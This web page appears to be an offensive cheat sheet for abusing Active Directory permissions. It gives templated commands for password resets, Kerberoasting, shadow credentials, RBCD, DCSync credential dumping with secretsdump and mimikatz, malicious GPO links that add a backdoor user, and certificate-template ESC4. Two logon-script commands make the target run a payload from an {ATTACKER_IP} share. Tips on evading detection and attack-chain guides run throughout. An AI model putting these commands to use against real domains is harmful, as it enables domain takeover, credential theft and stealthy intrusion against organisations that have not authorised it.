Object:
Right:
Showing all cards

Generic Rights

Generic Rights attack paths and exploitation techniques.

👤 User GenericAll CRITICAL ⏱️ 2 min 🔊 High

GenericAll on USER - Full Control

Complete control over target user. Reset password, add shadow credentials, set SPN for Kerberoasting, modify UAC, set logon script, or write any attribute.

🥇bloodyAD set passwordv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set password {TARGET_USER} {NEW_PASSWORD}
🥈nxc smb --smbpasswdv1.0+
nxc smb {DC_IP} -u {USERNAME} -p '{PASSWORD}' --smbpasswd {TARGET_USER} {NEW_PASSWORD}
🥉rpcclientSamba 4.x
rpcclient -U '{DOMAIN}/{USERNAME}%{PASSWORD}' {DC_IP} -c "setuserinfo2 {TARGET_USER} 23 '{NEW_PASSWORD}'"
4️⃣smbpasswd.py (Impacket)v0.12+
smbpasswd.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -newpass '{NEW_PASSWORD}' -target {TARGET_USER}
🔑bloodyAD (Pass-the-Hash)v2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p {NTLM_HASH} --no-ldaps set password {TARGET_USER} {NEW_PASSWORD}
🥇bloodyAD - Add SPN → Kerberoastv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add spn {TARGET_USER} 'MSSQLSvc/{DC_FQDN}:1433'
GetUserSPNs.py -dc-ip {DC_IP} -request -outputfile {TARGET_USER}.kirb {DOMAIN}/{USERNAME}:{PASSWORD}
🥈targetedKerberoast.pyv1.0+
targetedKerberoast.py -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --dc-ip {DC_IP} -v --request-user {TARGET_USER}
🥇bloodyAD - Shadow Credentialsv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add shadowCredentials {TARGET_USER}
🥈pywhiskerv1.0+
pywhisker -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --target {TARGET_USER} --action add
🥉certipy shadow autov4.8+
certipy shadow auto -username {USERNAME}@{DOMAIN} -password '{PASSWORD}' -target {DC_IP} -account {TARGET_USER}
🥇bloodyAD - Set Logon Scriptv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET_USER} scriptPath '\\{ATTACKER_IP}\share\payload.bat'
🥇bloodyAD - Set UAC DONT_REQ_PREAUTHv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add uac -f DONT_REQ_PREAUTH {TARGET_USER}
GetNPUsers.py -dc-ip {DC_IP} -usersfile {TARGET_USER}.txt -format hashcat -outputfile {TARGET_USER}.asrep {DOMAIN}/
🥈noPac.py / samtheadmin.pylatest
noPac.py -dc-ip {DC_IP} {DOMAIN}/{USERNAME}:{PASSWORD} -shell
samtheadmin.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -dc-ip {DC_IP} -scheme ldap
🥇PowerViewPowerSploit
$pass = ConvertTo-SecureString '{PASSWORD}' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('{DOMAIN}\{USERNAME}', $pass)
Set-DomainUserPassword -Identity {TARGET_USER} -AccountPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
🥈ADModuleMicrosoft Signed
Set-ADAccountPassword -Identity {TARGET_USER} -NewPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
🥉net.exeBuilt-in
net user {TARGET_USER} {NEW_PASSWORD} /domain
🥇Rubeus - Kerberoast after SPN addv2.0+
# Add SPN via PowerView, then kerberoast
Set-DomainObject -Identity {TARGET_USER} -Set @{serviceprincipalname='MSSQLSvc/{DC_FQDN}:1433'} -Credential $cred
Rubeus.exe kerberoast /user:{TARGET_USER} /domain:{DOMAIN} /dc:{DC_IP} /format:hashcat /outfile:{TARGET_USER}.kirb
🥇Whisker.exe - Shadow Credentialsv1.0+
Whisker.exe add /target:{TARGET_USER} /domain:{DOMAIN} /dc:{DC_IP}
🥈DSInternals Add-ADKeyCredentialv4.0+
$key = New-ADKeyCredential -AccountName {TARGET_USER} -Domain {DOMAIN}
Add-ADKeyCredential -AccountName {TARGET_USER} -KeyCredential $key
🥇PowerView - Set Logon ScriptPowerSploit
Set-DomainObject -Identity {TARGET_USER} -Set @{scriptpath='\\\\{ATTACKER_IP}\share\\payload.bat'} -Credential $cred
🥇PowerView - Set UAC DONT_REQ_PREAUTHPowerSploit
Set-DomainObject -Identity {TARGET_USER} -XOR @{useraccountcontrol=4194304} -Credential $cred
Rubeus.exe asreproast /user:{TARGET_USER} /domain:{DOMAIN} /dc:{DC_IP} /format:hashcat /outfile:{TARGET_USER}.asrep
TIPS & OPSEC
  • Event 4724 logged on DC - password reset attempt. Use during business hours to blend in.
  • Password policy: If complexity required, use Pass1234! or Welcome2024! (15+ chars recommended).
  • Cleanup: Document original password hash. Reset back after use if stealth required.
  • Detection: SIEM rules often alert on password resets by non-admin accounts.
  • Alternative: If password reset blocked, try Shadow Credentials instead (no password change).
  • Shadow Creds OPSEC: No password change = no 4724 event. Only 5136 (directory object modification).
COMMON ERRORS & FIXES
KDC_ERR_WRONG_REALM
Cause: Wrong domain format (used FQDN instead of NetBIOS)
Fix: Use NetBIOS domain name {DOMAIN_NETBIOS} for SMB/RPC commands.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target user doesn't exist or wrong username format
Fix: Verify with: nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep -i target
KDC_ERR_CLIENT_REVOKED
Cause: Target account is disabled
Fix: Filter active users: nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --active-users
NERR_UserNotFound / NERR_PasswordTooShort
Cause: Username typo or password doesn't meet policy
Fix: Check exact samAccountName. Use longer password (14+ chars). Check policy with nxc ldap {DC_IP} --pass-pol.
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: GenericAll not actually held (inheritance blocked or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET_USER}
attributeOrValueExists
Cause: SPN already exists on target
Fix: Kerberoast directly: GetUserSPNs.py -request {DOMAIN}/{USERNAME}:{PASSWORD}
constraintViolation
Cause: Schema violation - check attribute format
Fix: Verify attribute syntax. For UAC, use numeric values or bloodyAD shorthand flags.
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Password policy not met (15+ chars) or protected operation
Fix: Use 15+ character password with complexity. Check if account is in protected group (AdminSDHolder).
CHAIN THIS ATTACK

Reset password → Login as target → Dump credentials → Escalate privileges

Common chains:

  • Reset password → evil-winrm-py / psexec.py → SYSTEM shell
  • Shadow Credentials → getnthash.py → Pass-the-Hash → DCSync
  • Add SPN → Kerberoast → hashcat → cracked password → lateral movement
  • Set UAC → AS-REP Roast → crack offline → authentication
👥 Group GenericAll CRITICAL ⏱️ 2 min 🔊 High

GenericAll on GROUP - Member Manipulation

Add yourself or any user to the target group. If the group has privileged rights (e.g., Domain Admins, Account Operators), immediate privilege escalation.

🥇bloodyAD add groupMemberv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add groupMember {TARGET_GROUP} {TARGET_USER}
🥈nxc ldapv1.0+
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --add-group-member {TARGET_GROUP} {TARGET_USER}
🥉net rpc group addmemSamba
net rpc group addmem '{TARGET_GROUP}' {TARGET_USER} -U {DOMAIN}/{USERNAME}%'{PASSWORD}' -S {DC_IP}
🔑bloodyAD (Pass-the-Hash)v2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p {NTLM_HASH} --no-ldaps add groupMember {TARGET_GROUP} {TARGET_USER}
🥇PowerViewPowerSploit
Add-DomainGroupMember -Identity {TARGET_GROUP} -Members {TARGET_USER} -Credential $cred
🥈ADModuleMicrosoft Signed
Add-ADGroupMember -Identity {TARGET_GROUP} -Members {TARGET_USER} -Credential $cred
🥉net.exeBuilt-in
net group '{TARGET_GROUP}' {TARGET_USER} /add /domain
TIPS & OPSEC
  • Event 4728/4732: Member added to security-enabled global/universal group. High visibility.
  • SDProp: If target is a protected group (Domain Admins etc.), AdminSDHolder will revert changes every 60 min.
  • Group scope: Universal groups can only contain users from the same forest. Domain local groups are more flexible.
  • Cleanup: Remove yourself after exploitation: bloodyAD remove groupMember {TARGET_GROUP} {USERNAME}
COMMON ERRORS & FIXES
Member already exists
Cause: User is already a member of the group
Fix: Verify membership with bloodyAD get membership {TARGET_USER}
Group scope violation
Cause: Trying to add a cross-forest user to a non-universal group
Fix: Use a universal group or add a user from the same domain.
SDProp reverts change
Cause: Target group is protected by AdminSDHolder
Fix: Modify AdminSDHolder (dangerous) or use indirect path via nested groups.
CHAIN THIS ATTACK

Add to privileged group → Inherit group rights → DCSync / Admin access

Common chains:

  • Add self to 'Account Operators' → GenericAll on any user → ForceChangePassword → Compromise
  • Add self to 'DNS Admins' → DLL injection on DNS service → SYSTEM on DC
  • Add self to 'Backup Operators' → SeBackupPrivilege → SAM/SECURITY hive dump
💻 Computer GenericAll CRITICAL ⏱️ 2 min 🔊 High

GenericAll on COMPUTER - RBCD, ShadowCreds, LAPS

Full control over a computer account. Set up RBCD, add shadow credentials, read LAPS, reset computer password, add SPN, or change UAC for unconstrained delegation.

🥇bloodyAD - RBCD Setupv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add rbcd {TARGET_COMPUTER} {CONTROLLED_COMPUTER}
🥈rbcd.py (Impacket)v0.12+
rbcd.py -delegate-from '{CONTROLLED_COMPUTER}$' -delegate-to '{TARGET_COMPUTER}$' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
🥉ldeep change_uaclatest
ldeep ldap -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} -s ldap://{DC_IP} change_uac {TARGET_COMPUTER}
🥇bloodyAD - Shadow Credentialsv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add shadowCredentials {TARGET_COMPUTER}
🥈pywhiskerv1.0+
pywhisker -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --target {TARGET_COMPUTER} --action add
🥇bloodyAD - Reset Computer Passwordv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set password {TARGET_COMPUTER}$ {NEW_PASSWORD}
🥇nxc / secretsdump - Read LAPS + SAMv1.0+
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' -M laps
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER} -sam
🥇bloodyAD - Add SPN to Computerv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add spn {TARGET_COMPUTER}$ 'cifs/{TARGET_COMPUTER}'
GetUserSPNs.py -dc-ip {DC_IP} -request {DOMAIN}/{USERNAME}:{PASSWORD}
🥇bloodyAD - Set UAC Unconstrainedv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add uac -f TRUSTED_FOR_DELEGATION {TARGET_COMPUTER}
🥈noPac.py / samtheadmin.pylatest
noPac.py -dc-ip {DC_IP} {DOMAIN}/{USERNAME}:{PASSWORD} -shell
samtheadmin.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -dc-ip {DC_IP} -scheme ldap
🥇PowerView + Set-ADComputerPowerSploit
Set-ADComputer -Identity {TARGET_COMPUTER} -PrincipalsAllowedToDelegateToAccount ({CONTROLLED_COMPUTER} + '$') -Credential $cred
🥈SharpRBCD.exelatest
SharpRBCD.exe --Action write --Target {TARGET_COMPUTER} --SID {TARGET_SID}
🥇Whisker.exe - Shadow Credentialsv1.0+
Whisker.exe add /target:{TARGET_COMPUTER}$ /domain:{DOMAIN} /dc:{DC_IP}
🥇mimikatz - Reset + Dumpv2.2+
lsadump::sam /patch
lsadump::lsa /patch
🥇PowerView - Add SPNPowerSploit
Set-DomainObject -Identity {TARGET_COMPUTER}$ -Set @{serviceprincipalname='cifs/{TARGET_COMPUTER}'} -Credential $cred
🥇Rubeus - Set UAC Unconstrainedv2.0+
Rubeus.exe tgtdeleg /target:{TARGET_COMPUTER}$
TIPS & OPSEC
  • RBCD cleanup: bloodyAD remove rbcd {TARGET_COMPUTER} {CONTROLLED_COMPUTER} or PowerView equivalent.
  • Computer password reset: Breaks domain trust. Target will need rejoin or password sync reset.
  • LAPS: If LAPS is installed, GenericAll often grants read access to ms-Mcs-AdmPwd.
  • Unconstrained delegation: Very noisy. Monitor for Event 4742.
  • Shadow Credentials on computer: Excellent OPSEC - no password change, minimal logs.
COMMON ERRORS & FIXES
MachineAccountQuota exceeded
Cause: Cannot create new computer account for RBCD helper
Fix: Use an existing computer you control, or use pre-created computer + reset password.
KRB_AP_ERR_BAD_INTEGRITY
Cause: Wrong computer password hash used in S4U
Fix: Reset computer password first, or sync time with DC: ntpdate -u {DC_IP}
ERROR_DS_NAME_ERROR_NOT_UNIQUE
Cause: dNSHostName collision (noPac/samaccountname spoofing prereq)
Fix: Choose a unique dNSHostName not already in use in the domain.
CHAIN THIS ATTACK

RBCD setup → S4U → Impersonate admin → DCSync / Shell

Common chains:

  • RBCD → getST.py → psexec.py -k → SYSTEM shell
  • Shadow Credentials → PKINIT → getnthash → Pass-the-Hash
  • Reset computer password → NTLM relay → SAM dump
  • Set UAC unconstrained → coerce DC → capture TGT → DCSync
🌍 Domain GenericAll CRITICAL ⏱️ 2 min 🔊 High

GenericAll on DOMAIN - DCSync, Descendant Rights

Full control over the domain object. Can DCSync, grant descendant GenericAll, link malicious GPOs, modify trust properties, or add descendant objects.

🥇secretsdump.py - DCSyncv0.12+
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -just-dc
🥈nxc smb --ntdsv1.0+
nxc smb {DC_IP} -u {USERNAME} -p '{PASSWORD}' --ntds
🥉bloodyAD get secretsv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get secrets
🔑secretsdump.py (Pass-the-Hash)v0.12+
secretsdump.py -hashes {NTLM_HASH} '{DOMAIN}/{USERNAME}'@{DC_IP} -just-dc
🥇bloodyAD - Grant descendant GenericAllv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add genericAll {DOMAIN} {USERNAME}
🥈dacledit.pyv0.12+
dacledit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -principal {USERNAME} -target 'DC='+','.join('DC='+p for p in {DOMAIN}.split('.'))' -action write -rights GenericAll -dc-ip {DC_IP}
🥇bloodyAD - Link malicious GPOv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set gplink 'DC='+','.join('DC='+p for p in {DOMAIN}.split('.'))' {{GPO_GUID}}
🥈pyGPOAbuselatest
python3 pyGPOAbuse.py -u {DOMAIN}\\{USERNAME} -p '{PASSWORD}' -d {DC_IP} -gpo-id '{GPO_GUID}' -command 'net user pwned Pass1234! /add'
🥇bloodyAD - Add descendant computerv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add computer PWNED '{NEW_PASSWORD}'
🥈addcomputer.pyv0.12+
addcomputer.py -computer-name 'PWNED$' -computer-pass '{NEW_PASSWORD}' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
🥇mimikatz - DCSyncv2.2+
lsadump::dcsync /domain:{DOMAIN} /dc:{DC_IP} /all
🥈SharpKatz / SafetyKatzlatest
SharpKatz.exe --Command dcsync --Domain {DOMAIN} --DC {DC_IP}
🥇PowerView - Grant GenericAllPowerSploit
Add-DomainObjectAcl -TargetIdentity 'DC='+','.join('DC='+p for p in {DOMAIN}.split('.'))' -PrincipalIdentity {USERNAME} -Rights GenericAll -Credential $cred
🥇SharpGPOAbuse.exelatest
SharpGPOAbuse.exe --AddComputerTask --GPOID '{GPO_GUID}' --TaskName 'Pwn' --Author '{DOMAIN}\{USERNAME}' --Command 'cmd.exe' --Arguments '/c net user pwned Pass1234! /add'
🥇ADModule - Link GPOMicrosoft Signed
New-GPLink -Name '{GPO_NAME}' -Target 'DC='+','.join('DC='+p for p in {DOMAIN}.split('.'))' -Enforced Yes -Credential $cred
TIPS & OPSEC
  • DCSync Event 4662: Heavily monitored. Use -just-dc-user krbtgt for targeted extraction.
  • Descendant GenericAll: Grants full control over ALL objects in the domain. Extremely powerful.
  • GPO link: Requires both Edit rights on GPO AND WriteGPLink on domain/OU.
  • Trust modification: Use netdom trust or nltest to inspect/modify inter-forest trusts.
  • MachineAccountQuota: Check before adding computers: bloodyAD get attribute {DOMAIN} ms-DS-MachineAccountQuota
COMMON ERRORS & FIXES
ERROR_DS_DRA_BAD_DN / rpc_s_access_denied
Cause: Missing GetChanges+GetChangesAll for DCSync
Fix: Grant DCSync first: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add dcsync {USERNAME}
ERROR_DS_DRA_ACCESS_DENIED
Cause: Only GetChanges, missing GetChangesAll
Fix: Add GetChangesAll with bloodyAD add dcsync or dacledit.py.
STATUS_NETWORK_UNREACHABLE
Cause: Wrong DC_IP or network issue
Fix: Verify DC_IP with ping and nslookup. Check VPN/interface.
CHAIN THIS ATTACK

DCSync → Extract krbtgt → Golden Ticket → Full domain compromise

Common chains:

  • DCSync → crack hashes → lateral movement with psexec.py
  • Grant descendant GenericAll → forcechangepassword on DA → domain admin
  • Link malicious GPO → mass compromise of all domain computers
  • Add computer → RBCD → compromise high-value target
📝 CertTemplate GenericAll CRITICAL ⏱️ 2 min 🔊 High

GenericAll on CertTemplate - ESC4

Modify certificate template properties to create an ESC1 vulnerability (e.g., enable client supply subject, remove manager approval, add auth EKU).

🥇certipy templatev4.8+
certipy template -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -template {CERT_TEMPLATE} -save-old
🥈bloodyAD set objectv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object '{CERT_TEMPLATE}' msPKI-Certificate-Name-Flag '1'
🥉Manual ldapmodifyldap-utils
# Create LDIF to modify template attributes
ldapmodify -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -f template_esc1.ldif
🥇Certify.exe 2.0latest
Certify.exe template /modify /template:{CERT_TEMPLATE} /attrib:msPKI-Certificate-Name-Flag=1
🥈certtmpl.mscBuilt-in
# Open Certificate Templates MMC, modify template properties manually.
TIPS & OPSEC
  • Cleanup: Always restore original template after exploitation. Use certipy template -restore.
  • Publish: Modified template must be published to an Enterprise CA to be exploitable.
  • Detection: Template modifications are logged. Use during maintenance windows.
  • Chain: ESC4 → ESC1 → certipy req -upn Administrator → certipy auth → DA access.
COMMON ERRORS & FIXES
CERTSRV_E_TEMPLATE_DENIED
Cause: Template not published to CA or no enrollment rights
Fix: Verify template is published: certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
Access denied modifying template
Cause: Template may be owned by SYSTEM or protected
Fix: Use WriteOwner → owneredit.py → modify DACL → template control.
CHAIN THIS ATTACK

Modify template → ESC1 → Request cert as Admin → Authenticate → Domain Admin

Common chains:

  • ESC4 → enable client supply subject → ESC1 → certipy req -upn Administrator → auth
  • ESC4 → add Any Purpose EKU → forge authentication cert
  • ESC4 → remove manager approval → instant certificate issuance
👤 User GenericWrite CRITICAL ⏱️ 2 min 🔊 High

GenericWrite on USER - Targeted Attribute Abuse

Write specific attributes on a user. Set SPN, msDS-KeyCredentialLink (Shadow Creds), scriptPath, UAC flags, unixUserPassword, mail, or manager.

🥇bloodyAD set objectv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET_USER} servicePrincipalName 'MSSQLSvc/{DC_FQDN}:1433'
🥈bloodyAD add shadowCredentialsv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add shadowCredentials {TARGET_USER}
🥉pywhiskerv1.0+
pywhisker -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --target {TARGET_USER} --action add
4️⃣bloodyAD add uacv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add uac -f DONT_REQ_PREAUTH {TARGET_USER}
5️⃣bloodyAD set object scriptPathv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET_USER} scriptPath '\\{ATTACKER_IP}\share\payload.bat'
🥇PowerView Set-DomainObjectPowerSploit
Set-DomainObject -Identity {TARGET_USER} -Set @{serviceprincipalname='MSSQLSvc/{DC_FQDN}:1433'} -Credential $cred
🥈Whisker.exev1.0+
Whisker.exe add /target:{TARGET_USER} /domain:{DOMAIN} /dc:{DC_IP}
🥉ADModule Set-ADObjectMicrosoft Signed
Set-ADObject -Identity {TARGET_USER} -Replace @{serviceprincipalname='MSSQLSvc/{DC_FQDN}:1433'} -Credential $cred
TIPS & OPSEC
  • GenericWrite vs GenericAll: GenericWrite is more targeted - only specific attributes, not full control.
  • Shadow Credentials: Best OPSEC option - no password change, minimal event noise.
  • SPN addition: May trigger Event 4742. Remove SPN after Kerberoasting.
  • scriptPath: Runs when user logs in interactively. Requires logon event.
COMMON ERRORS & FIXES
attributeOrValueExists
Cause: SPN or attribute already exists
Fix: Kerberoast directly or remove existing value first.
constraintViolation
Cause: Schema violation on attribute format
Fix: Check attribute syntax. Use proper DN/SPN formats.
CHAIN THIS ATTACK

GenericWrite → Set SPN → Kerberoast → cracked hash → login

Common chains:

  • Set SPN → GetUserSPNs.py → hashcat → lateral movement
  • Shadow Credentials → PKINIT → getnthash → Pass-the-Hash → DCSync
  • Set scriptPath → wait for interactive logon → code execution
💻 Computer GenericWrite CRITICAL ⏱️ 2 min 🔊 High

GenericWrite on COMPUTER - RBCD, dNSHostName

Write msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD), msDS-KeyCredentialLink, servicePrincipalName, msDS-AdditionalDnsHostName, or dNSHostName (noPac/samaccountname spoofing).

🥇bloodyAD add rbcdv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add rbcd {TARGET_COMPUTER} {CONTROLLED_COMPUTER}
🥈rbcd.pyv0.12+
rbcd.py -delegate-from '{CONTROLLED_COMPUTER}$' -delegate-to '{TARGET_COMPUTER}$' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
🥇bloodyAD add shadowCredentialsv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add shadowCredentials {TARGET_COMPUTER}
🥈noPac.py / samtheadmin.pylatest
noPac.py -dc-ip {DC_IP} {DOMAIN}/{USERNAME}:{PASSWORD} -shell -target {TARGET_COMPUTER}
🥉bloodyAD set object dNSHostNamev2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET_COMPUTER}$ dNSHostName '{DC_HOSTNAME}.{DOMAIN}'
🥇PowerView Set-DomainObjectPowerSploit
Set-DomainObject -Identity {TARGET_COMPUTER}$ -Set @{msds-allowedtoactonbehalfofotheridentity=$sid} -Credential $cred
🥈SharpRBCD.exelatest
SharpRBCD.exe --Action write --Target {TARGET_COMPUTER} --SID {TARGET_SID}
🥇Whisker.exev1.0+
Whisker.exe add /target:{TARGET_COMPUTER}$ /domain:{DOMAIN} /dc:{DC_IP}
TIPS & OPSEC
  • RBCD: Requires a computer account under your control. Check MachineAccountQuota first.
  • dNSHostName spoofing: Deletes existing SPNs → adds dNSHostName → requests cert → restores SPNs.
  • Shadow Credentials: Works even without MachineAccountQuota if you have GenericWrite.
  • Cleanup: Remove msDS-AllowedToAct after exploitation to reduce detection.
COMMON ERRORS & FIXES
MachineAccountQuota exceeded
Cause: Cannot create helper computer for RBCD
Fix: Use existing controlled computer or reset pre-created computer password.
ERROR_DS_NAME_ERROR_NOT_UNIQUE
Cause: dNSHostName already exists
Fix: Choose unique hostname or delete conflicting object's dNSHostName first.
CHAIN THIS ATTACK

GenericWrite → RBCD → S4U → Impersonate admin → Shell

Common chains:

  • RBCD → getST.py → psexec.py → SYSTEM
  • Shadow Credentials → PKINIT → NTLM hash → DCSync
  • dNSHostName spoofing → certipy req → certipy auth → DA
🔧 Any Object GenericExecute LOW ⏱️ N/A 🔊 Low

GenericExecute - Limited Standalone Value

GenericExecute alone is rarely directly exploitable in AD. On GPO/OU it can enable execution of linked scripts if combined with write access to gPCFileSysPath.

No Linux-specific commands for this edge.

No Windows-specific commands for this edge.

TIPS & OPSEC
  • Combine with Write: GenericExecute + GenericWrite on GPO = code execution via modified GPT.
  • SYSVOL: If you can write to the GPT folder in SYSVOL, GenericExecute ensures the scripts run.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

GenericExecute + Write to GPT → Script execution

Common chains:

  • Combine with GenericWrite on GPO for full exploitation
🔧 Any Object GenericRead LOW ⏱️ 5 min 🔊 Low

GenericRead - Recon & Enumeration

Read all attributes of target object. Essential for reconnaissance to identify abuse paths, group memberships, ACLs, and sensitive attributes.

🥇bloodyAD get info / get attribute / get aclv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get info {TARGET}
bloodyAD get attribute {TARGET} memberOf
bloodyAD get acl {TARGET} --resolve-sids
🥈ldapsearchldap-utils
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -b '{DOMAIN}' '(samAccountName={TARGET})'
🥉nxc ldapv1.0+
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users --groups --computers --pass-pol
4️⃣ldapdomaindumplatest
ldapdomaindump ldap://{DC_IP} -u '{DOMAIN}\\{USERNAME}' -p '{PASSWORD}' -o ldap_dump
5️⃣bloodhound-pythonlatest
bloodhound-python -u {USERNAME} -p '{PASSWORD}' -ns {DC_IP} -d {DOMAIN} -c All
6️⃣ldeeplatest
ldeep ldap -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} -s ldap://{DC_IP} enum_users enum_groups enum_computers
🥇PowerViewPowerSploit
Get-DomainUser -Identity {TARGET} -Credential $cred | Select-Object *
Get-DomainObjectAcl -Identity {TARGET} -ResolveGUIDs -Credential $cred
🥈ADModuleMicrosoft Signed
Get-ADUser -Identity {TARGET} -Properties * -Credential $cred
Get-ADGroupMember -Identity {TARGET} -Credential $cred
🥉dsquery.exe / nltest.exe / netdom.exeBuilt-in
dsquery user -name {TARGET}
nltest /dclist:{DOMAIN}
netdom query fsmo
TIPS & OPSEC
  • ACL enumeration: Always resolve SIDs to names with --resolve-sids or -ResolveGUIDs.
  • Sensitive attributes: Look for unixUserPassword, ms-Mcs-AdmPwd, msDS-KeyCredentialLink, scriptPath.
  • BloodHound: Use bloodhound-python or SharpHound for graph-based path analysis.
  • Recon OPSEC: LDAP queries are less noisy than SMB enumeration.
COMMON ERRORS & FIXES
INSUFF_ACCESS_RIGHTS on read
Cause: Attribute requires higher privileges or is confidential
Fix: Try reading with DCSync rights or check if attribute is marked confidential.
CHAIN THIS ATTACK

Read ACLs → identify abuse path → escalate privileges

Common chains:

  • Enumerate ACLs → find WriteDacl/GenericAll path → exploitation
  • Read LAPS → local admin password → lateral movement
  • Read group memberships → identify privilege escalation targets

Standard Rights

Standard Rights attack paths and exploitation techniques.

🔧 Any Object WriteDacl CRITICAL ⏱️ 2 min 🔊 High

WriteDacl - Modify Permissions

Modify the target object's DACL. Grant yourself GenericAll, DCSync, or any other right. The ultimate privilege escalation primitive.

🥇dacledit.py (Impacket)v0.12+
dacledit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -principal {USERNAME} -target {TARGET} -action write -rights GenericAll -dc-ip {DC_IP}
🥈bloodyAD add genericAll / add dcsyncv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add genericAll {TARGET} {USERNAME}
# Or for DCSync:
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add dcsync {USERNAME}
🔑dacledit.py (Pass-the-Hash)v0.12+
dacledit.py -hashes {NTLM_HASH} '{DOMAIN}/{USERNAME}' -principal {USERNAME} -target {TARGET} -action write -rights GenericAll -dc-ip {DC_IP}
🥇PowerView Add-DomainObjectAclPowerSploit
Add-DomainObjectAcl -TargetIdentity {TARGET} -PrincipalIdentity {USERNAME} -Rights GenericAll -Credential $cred
🥈dsacls.exeBuilt-in (RSAT)
